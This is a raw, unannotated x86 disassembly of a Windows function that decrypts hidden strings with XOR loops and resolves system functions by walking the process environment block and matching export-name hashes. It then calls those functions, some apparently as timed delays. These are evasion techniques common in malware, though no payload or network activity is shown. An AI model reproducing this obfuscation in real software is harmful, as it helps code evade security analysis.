add eax, edx
call eax
mov ecx, 0x15
lea edi, [ebp - 0x5b0]
mov esi, 0x4b0bc8
xor edx, edx
cmp dword [0x5067b8], 2
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xa4], edx
movsb byte es:[edi], byte [esi]
jl 0x439db4
movaps xmm0, xmmword [0x4b0e50]
lea eax, [edx + 4]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm4, xmmword [0x4b0d40]
movaps xmm5, xmmword [0x4b0c70]
movaps xmm6, xmmword [0x4b0c90]
movaps xmmword [ebp - 0xc0], xmm0
mov ecx, dword [ebp - 0xc0]
nop dword [eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x5b4]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x5b4], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x5b0]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x5b0], xmm2
add eax, 8
cmp eax, 0x54
jl 0x439cc0
mov dword [ebp - 0xa4], edx
cmp edx, 0x55
jge 0x439deb
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xa4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x5b0], cl
inc edx
mov dword [ebp - 0xa4], edx
cmp edx, 0x55
jl 0x439db4
lea eax, [ebp - 0x5b0]
push eax
lea ecx, [ebp - 0x53c]
call fcn.0040d390
lea ecx, [ebp - 0x53c]
mov byte [ebp - 4], 8
call fcn.00430690
lea ecx, [ebp - 0x53c]
mov byte [ebp - 4], 0
call fcn.00402420
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x439eb0
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x439eb0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0xeffc3fdf
mov cl, byte [edx]
inc edx
test cl, cl
je 0x439ea3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x439e82
cmp esi, 0x71db4d42
je 0x439eb7
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x439e63
mov eax, dword [eax]
jmp 0x439e30
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0xbb8
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov esi, 1
jmp 0x43a28a
mov ecx, 0x16
lea edi, [ebp - 0x610]
mov esi, 0x4b0a68
xor edx, edx
cmp dword [0x5067b8], 2
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xa4], edx
movsb byte es:[edi], byte [esi]
jl 0x43a040
movaps xmm0, xmmword [0x4b0e50]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x4b0c70]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm5, xmmword [0x4b0c90]
movaps xmm6, xmmword [0x4b0d40]
movaps xmmword [ebp - 0xc0], xmm0
mov ecx, dword [ebp - 0xc0]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x614]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x614], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x610]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x610], xmm2
add eax, 8
cmp eax, 0x5c
jl 0x439f44
mov dword [ebp - 0xa4], edx
cmp edx, 0x59
jge 0x43a077
nop dword [eax + eax]
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xa4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x610], cl
inc edx
mov dword [ebp - 0xa4], edx
cmp edx, 0x59
jl 0x43a040
lea eax, [ebp - 0x610]
push eax
lea ecx, [ebp - 0x554]
call fcn.0040d390
lea ecx, [ebp - 0x554]
mov byte [ebp - 4], 9
call fcn.00430690
lea ecx, [ebp - 0x554]
mov byte [ebp - 4], 0
call fcn.00402420
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x43a133
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43a133
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x2f7cdc66
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43a126
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43a105
cmp esi, 0xb64ae6a9
je 0x43a13a
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43a0e6
mov eax, dword [eax]
jmp 0x43a0b3
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x3e8
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x164], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x160], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x43a210
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43a210
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0xef6ba480
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43a203
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43a1e2
cmp esi, 0xd5a37781
je 0x43a217
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43a1c3
mov eax, dword [eax]
jmp 0x43a190
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0xa4], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0xa4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0xa4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x164], cl
inc edx
mov dword [ebp - 0xa4], edx
cmp edx, 6
jl 0x43a240
lea eax, [ebp - 0x164]
push eax
call esi
add esp, 4
xor esi, esi
lea ecx, [ebx + 8]
call fcn.00402420
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0044317d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret